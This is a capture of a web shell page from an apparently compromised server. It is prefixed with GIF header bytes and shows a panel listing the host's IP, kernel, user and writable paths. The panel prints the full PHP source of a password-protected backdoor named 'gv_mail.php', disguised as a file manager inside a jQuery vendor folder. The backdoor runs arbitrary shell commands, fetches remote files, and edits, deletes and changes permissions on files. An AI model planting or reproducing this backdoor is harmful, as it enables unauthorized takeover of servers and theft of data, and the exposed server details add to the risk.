GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.217.43
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1160.144.1.el7.tuxcare.els5.x86_64 #1 SMP Wed May 13 12:31:54 UTC 2026 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/econtech/public_html/public/back/assets/vendors/general/jquery/external/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/econtech/public_html/public/back/assets/vendors/general/jquery/external/gv_mail.php
<?php
$password = 'cahtumis789#';
session_start();

if(isset($_POST['password'])){
    if($_POST['password'] === $password){
        $_SESSION['logged_in'] = true;
        header("Location: ".$_SERVER['PHP_SELF']);
        exit;
    } else {
        $login_error = 'Wrong Password!';
    }
}

if(!isset($_SESSION['logged_in'])){
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - File Manager</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="min-h-screen bg-gradient-to-br from-gray-900 via-gray-800 to-gray-900 flex items-center justify-center p-4">
<div class="bg-white rounded-3xl shadow-2xl p-8 w-full max-w-md animate-fade-in">
<div class="text-center mb-8">
<div class="text-6xl mb-4">🔐</div>
<h1 class="text-3xl font-bold text-gray-800 mb-2">File Manager</h1>
<p class="text-gray-500">Enter your password to continue</p>
</div>
<?php if(isset($login_error)): ?>
<div class="bg-red-50 border border-red-200 text-red-700 px-4 py-3 rounded-xl mb-4 animate-shake">
<?php echo htmlspecialchars($login_error); ?>
</div>
<?php endif; ?>
<form method="POST" class="space-y-4">
<div>
<label class="block text-sm font-medium text-gray-700 mb-2">Password</label>
<input type="password" name="password" required autofocus
       class="w-full px-4 py-3 border-2 border-gray-200 rounded-xl focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 transition duration-200">
</div>
<button type="submit" 
        class="w-full bg-gradient-to-r from-gray-800 to-black text-white font-semibold py-3 rounded-xl hover:from-gray-900 hover:to-gray-950 transform hover:scale-[1.02] transition duration-200 shadow-lg">
Login
</button>
</form>
</div>
</body>
</html>
<?php
exit;
}

// Handle logout
if(isset($_GET['logout'])){
    session_destroy();
    header("Location: ".$_SERVER['PHP_SELF']);
    exit;
}

// ---------------------------- FILE MANAGER ---------------------------
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
if($dir === false) $dir = getcwd();

if(isset($_POST['action'])){
    switch($_POST['action']){
        case "create_file":
            file_put_contents($dir."/".$_POST['filename'],"");
            break;
        case "create_folder":
            mkdir($dir."/".$_POST['foldername']);
            break;
        case "delete":
            $target = $dir."/".$_POST['target'];
            if(is_dir($target)){
                rmdir($target);
            } else {
                unlink($target);
            }
            break;
        case "rename":
            rename($dir."/".$_POST['old'], $dir."/".$_POST['new']);
            break;
        case "chmod":
            chmod($dir."/".$_POST['target'], octdec($_POST['perm']));
            break;
        case "upload_file":
            if(isset($_FILES['file'])){
                move_uploaded_file($_FILES['file']['tmp_name'], $dir."/".$_FILES['file']['name']);
            }
            break;
        case "upload_url":
            $content = file_get_contents($_POST['file_url']);
            file_put_contents($dir."/".$_POST['file_url_name'],$content);
            break;
        case "edit_file":
            file_put_contents($dir."/".$_POST['file_name'], $_POST['file_content']);
            break;
        case "terminal":
            $command = $_POST['command'];
            $output = shell_exec("cd ".escapeshellarg($dir)." && ".$command." 2>&1");
            break;
    }
}

function human_filesize($bytes, $decimals = 2) {
    $size = ['B','KB','MB','GB','TB','PB'];
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$size[$factor];
}

function breadcrumbs($path){
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    $crumbs = [];
    $accum = '';
    foreach($parts as $part){
        if($part === '') continue;
        $accum .= '/'.$part;
        $crumbs[] = "<a href='?dir=".urlencode($accum)."' class='hover:text-gray-900 hover:underline'>".htmlspecialchars($part)."</a>";
    }
    return implode(" <span class='text-gray-400'>/</span> ", $crumbs);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="min-h-screen bg-gradient-to-br from-gray-900 via-gray-800 to-gray-900 p-4">

<div class="max-w-7xl mx-auto">
<!-- Header -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="bg-gradient-to-r from-gray-900 to-black px-6 py-6 flex items-center justify-between">
<div class="flex items-center space-x-3">
<span class="text-4xl">📁</span>
<h1 class="text-2xl font-bold text-white">File Manager</h1>
</div>
<a href="?logout=1" class="bg-white/20 hover:bg-white/30 text-white px-6 py-2 rounded-xl font-medium transition duration-200 backdrop-blur-sm flex items-center space-x-2">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"></path>
</svg>
<span>Logout</span>
</a>
</div>

<!-- Breadcrumb -->
<div class="px-6 py-4 bg-gray-50 border-b">
<div class="flex items-center space-x-2 text-sm text-gray-600">
<span class="font-semibold">📍 Current Path:</span>
<div class="flex-1"><?php echo breadcrumbs($dir); ?></div>
</div>
</div>
</div>

<!-- Files Table -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="px-6 py-4 border-b bg-gray-50">
<h2 class="text-xl font-bold text-gray-800 flex items-center space-x-2">
<span>📂</span>
<span>Files & Directories</span>
</h2>
</div>
<div class="overflow-x-auto">
<table class="w-full">
<thead class="bg-gradient-to-r from-gray-900 to-black text-white">
<tr>
<th class="px-6 py-4 text-left font-semibold">Name</th>
<th class="px-6 py-4 text-left font-semibold">Size</th>
<th class="px-6 py-4 text-left font-semibold">Actions</th>
</tr>
</thead>
<tbody class="divide-y divide-gray-100">
<?php
$files = scandir($dir);
if($dir != DIRECTORY_SEPARATOR){
    echo "<tr class='hover:bg-gray-50'><td colspan='3' class='px-6 py-4'><a href='?dir=".urlencode(dirname($dir))."' class='text-gray-900 hover:text-black font-medium'>📁 ..</a></td></tr>";
}
foreach($files as $file){
    if($file=='.' || $file=='..') continue;
    $full = $dir."/".$file;
    $size = is_dir($full) ? '—' : human_filesize(filesize($full));
    echo "<tr class='hover:bg-gray-50 transition'>";
    echo "<td class='px-6 py-4'>";
    if(is_dir($full)){
        echo "<a href='?dir=".urlencode($full)."' class='text-gray-900 hover:text-black font-medium flex items-center space-x-2'><span>📁</span><span>".htmlspecialchars($file)."</span></a>";
    } else {
        echo "<div class='flex items-center space-x-2 text-gray-700'><span>📄</span><span>".htmlspecialchars($file)."</span></div>";
    }
    echo "</td>";
    echo "<td class='px-6 py-4 text-gray-600'>".$size."</td>";
    echo "<td class='px-6 py-4'>";
    echo "<div class='flex items-center space-x-2'>";
    if(is_dir($full)){
        echo "<a href='?dir=".urlencode($full)."' class='bg-gray-200 text-gray-900 px-3 py-1 rounded-lg text-sm font-medium hover:bg-gray-300 transition'>Open</a>";
    }
    if(is_file($full)){
        echo "<a href='?dir=".urlencode($dir)."&edit=".urlencode($file)."' class='bg-green-100 text-green-700 px-3 py-1 rounded-lg text-sm font-medium hover:bg-green-200 transition'>Edit</a>";
        echo "<a href='".htmlspecialchars($full)."' download class='bg-blue-100 text-blue-700 px-3 py-1 rounded-lg text-sm font-medium hover:bg-blue-200 transition'>Download</a>";
    }
    echo "<form method='POST' class='inline' onsubmit='return confirm(\"Delete this item?\")'>";
    echo "<input type='hidden' name='action' value='delete'>";
    echo "<input type='hidden' name='target' value='".htmlspecialchars($file)."'>";
    echo "<button type='submit' class='bg-red-100 text-red-700 px-3 py-1 rounded-lg text-sm font-medium hover:bg-red-200 transition'>Delete</button>";
    echo "</form>";
    echo "</div>";
    echo "<div class='flex items-center space-x-2 mt-2'>";
    echo "<form method='POST' class='flex items-center space-x-1 w-full'>";
    echo "<input type='hidden' name='action' value='rename'>";
    echo "<input type='hidden' name='old' value='".htmlspecialchars($file)."'>";
    echo "<input type='text' name='new' placeholder='New name' class='flex-1 border border-gray-300 rounded-lg px-2 py-1 text-sm focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50'>";
    echo "<button type='submit' class='bg-yellow-100 text-yellow-700 px-3 py-1 rounded-lg text-sm font-medium hover:bg-yellow-200 transition whitespace-nowrap'>Rename</button>";
    echo "</form>";
    echo "</div>";
    echo "</td>";
    echo "</tr>";
}
?>
</tbody>
</table>
</div>
</div>

<!-- Quick Actions -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="px-6 py-4 border-b bg-gray-50">
<h2 class="text-xl font-bold text-gray-800 flex items-center space-x-2">
<span>⚡</span>
<span>Quick Actions</span>
</h2>
</div>
<div class="p-6 grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
<!-- Create Folder -->
<div class="bg-gradient-to-br from-gray-100 to-gray-200 p-6 rounded-xl border border-gray-300">
<h3 class="font-bold text-gray-800 mb-3 flex items-center space-x-2">
<span>📁</span>
<span>Create Folder</span>
</h3>
<form method="POST" class="space-y-2">
<input type="hidden" name="action" value="create_folder">
<input type="text" name="foldername" placeholder="Folder name" required
       class="w-full px-3 py-2 border border-gray-300 rounded-lg focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 text-sm">
<button type="submit" 
        class="w-full bg-gradient-to-r from-gray-800 to-black text-white font-medium py-2 rounded-lg hover:from-gray-900 hover:to-gray-950 transition text-sm">
Create
</button>
</form>
</div>

<!-- Create File -->
<div class="bg-gradient-to-br from-gray-100 to-gray-200 p-6 rounded-xl border border-gray-300">
<h3 class="font-bold text-gray-800 mb-3 flex items-center space-x-2">
<span>📄</span>
<span>Create File</span>
</h3>
<form method="POST" class="space-y-2">
<input type="hidden" name="action" value="create_file">
<input type="text" name="filename" placeholder="File name" required
       class="w-full px-3 py-2 border border-gray-300 rounded-lg focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 text-sm">
<button type="submit" 
        class="w-full bg-gradient-to-r from-gray-800 to-black text-white font-medium py-2 rounded-lg hover:from-gray-900 hover:to-gray-950 transition text-sm">
Create
</button>
</form>
</div>

<!-- Upload File -->
<div class="bg-gradient-to-br from-gray-100 to-gray-200 p-6 rounded-xl border border-gray-300">
<h3 class="font-bold text-gray-800 mb-3 flex items-center space-x-2">
<span>📤</span>
<span>Upload File</span>
</h3>
<form method="POST" enctype="multipart/form-data" class="space-y-2">
<input type="hidden" name="action" value="upload_file">
<input type="file" name="file" required
       class="w-full text-sm text-gray-600 file:mr-4 file:py-2 file:px-4 file:rounded-lg file:border-0 file:text-sm file:font-semibold file:bg-gray-200 file:text-gray-800 hover:file:bg-gray-300">
<button type="submit" 
        class="w-full bg-gradient-to-r from-gray-800 to-black text-white font-medium py-2 rounded-lg hover:from-gray-900 hover:to-gray-950 transition text-sm">
Upload
</button>
</form>
</div>

<!-- Upload from URL -->
<div class="bg-gradient-to-br from-gray-100 to-gray-200 p-6 rounded-xl border border-gray-300">
<h3 class="font-bold text-gray-800 mb-3 flex items-center space-x-2">
<span>🌐</span>
<span>From URL</span>
</h3>
<form method="POST" class="space-y-2">
<input type="hidden" name="action" value="upload_url">
<input type="text" name="file_url" placeholder="File URL" required
       class="w-full px-3 py-2 border border-gray-300 rounded-lg focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 text-sm">
<input type="text" name="file_url_name" placeholder="Save as" required
       class="w-full px-3 py-2 border border-gray-300 rounded-lg focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 text-sm">
<button type="submit" 
        class="w-full bg-gradient-to-r from-gray-800 to-black text-white font-medium py-2 rounded-lg hover:from-gray-900 hover:to-gray-950 transition text-sm">
Upload
</button>
</form>
</div>
</div>
</div>

<?php if(isset($_GET['edit'])){ ?>
<?php
$edit_file = $dir."/".$_GET['edit'];
if(is_file($edit_file)){
    $content = htmlspecialchars(file_get_contents($edit_file));
?>
<!-- File Editor -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="px-6 py-4 border-b bg-gray-50">
<h2 class="text-xl font-bold text-gray-800 flex items-center space-x-2">
<span>✏️</span>
<span>Editing: <?php echo htmlspecialchars($_GET['edit']); ?></span>
</h2>
</div>
<div class="p-6">
<form method="POST" class="space-y-4">
<input type="hidden" name="action" value="edit_file">
<input type="hidden" name="file_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<textarea name="file_content" rows="20"
          class="w-full px-4 py-3 border-2 border-gray-200 rounded-xl focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50 font-mono text-sm"><?php echo $content; ?></textarea>
<div class="flex space-x-3">
<button type="submit" 
        class="bg-gradient-to-r from-green-600 to-emerald-600 text-white font-semibold px-6 py-3 rounded-xl hover:from-green-700 hover:to-emerald-700 transition">
💾 Save Changes
</button>
<a href="?dir=<?php echo urlencode($dir); ?>" 
   class="bg-gray-500 text-white font-semibold px-6 py-3 rounded-xl hover:bg-gray-600 transition">
Cancel
</a>
</div>
</form>
</div>
</div>
<?php }} ?>

<!-- Terminal -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="px-6 py-4 border-b bg-gray-50">
<h2 class="text-xl font-bold text-gray-800 flex items-center space-x-2">
<span>💻</span>
<span>Terminal</span>
</h2>
</div>
<div class="p-6">
<form method="POST" class="space-y-4">
<input type="hidden" name="action" value="terminal">
<input type="text" name="command" placeholder="Enter command (e.g., ls -la, pwd, cat file.txt)" required
       class="w-full px-4 py-3 border-2 border-gray-200 rounded-xl focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50">
<button type="submit" 
        class="bg-gradient-to-r from-gray-800 to-gray-900 text-white font-semibold px-6 py-3 rounded-xl hover:from-gray-900 hover:to-black transition">
▶️ Run Command
</button>
</form>
<div class="mt-4 bg-gray-900 text-green-400 p-4 rounded-xl font-mono text-sm min-h-[100px] max-h-[400px] overflow-auto">
<pre class="whitespace-pre-wrap"><?php if(isset($output)) echo htmlspecialchars($output); else echo "$ Command output will appear here..."; ?></pre>
</div>
</div>
</div>

<!-- Change Permissions -->
<div class="bg-white rounded-2xl shadow-xl mb-6 overflow-hidden">
<div class="px-6 py-4 border-b bg-gray-50">
<h2 class="text-xl font-bold text-gray-800 flex items-center space-x-2">
<span>🔐</span>
<span>Change Permissions</span>
</h2>
</div>
<div class="p-6">
<form method="POST" class="flex flex-col sm:flex-row gap-3">
<input type="hidden" name="action" value="chmod">
<input type="text" name="target" placeholder="File/Folder name" required
       class="flex-1 px-4 py-3 border-2 border-gray-200 rounded-xl focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50">
<input type="text" name="perm" placeholder="Permission (e.g. 0755)" required
       class="flex-1 px-4 py-3 border-2 border-gray-200 rounded-xl focus:border-gray-900 focus:ring focus:ring-gray-300 focus:ring-opacity-50">
<button type="submit" 
        class="bg-gradient-to-r from-orange-600 to-red-600 text-white font-semibold px-6 py-3 rounded-xl hover:from-orange-700 hover:to-red-700 transition whitespace-nowrap">
Change Permission
</button>
</form>
</div>
</div>

</div>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit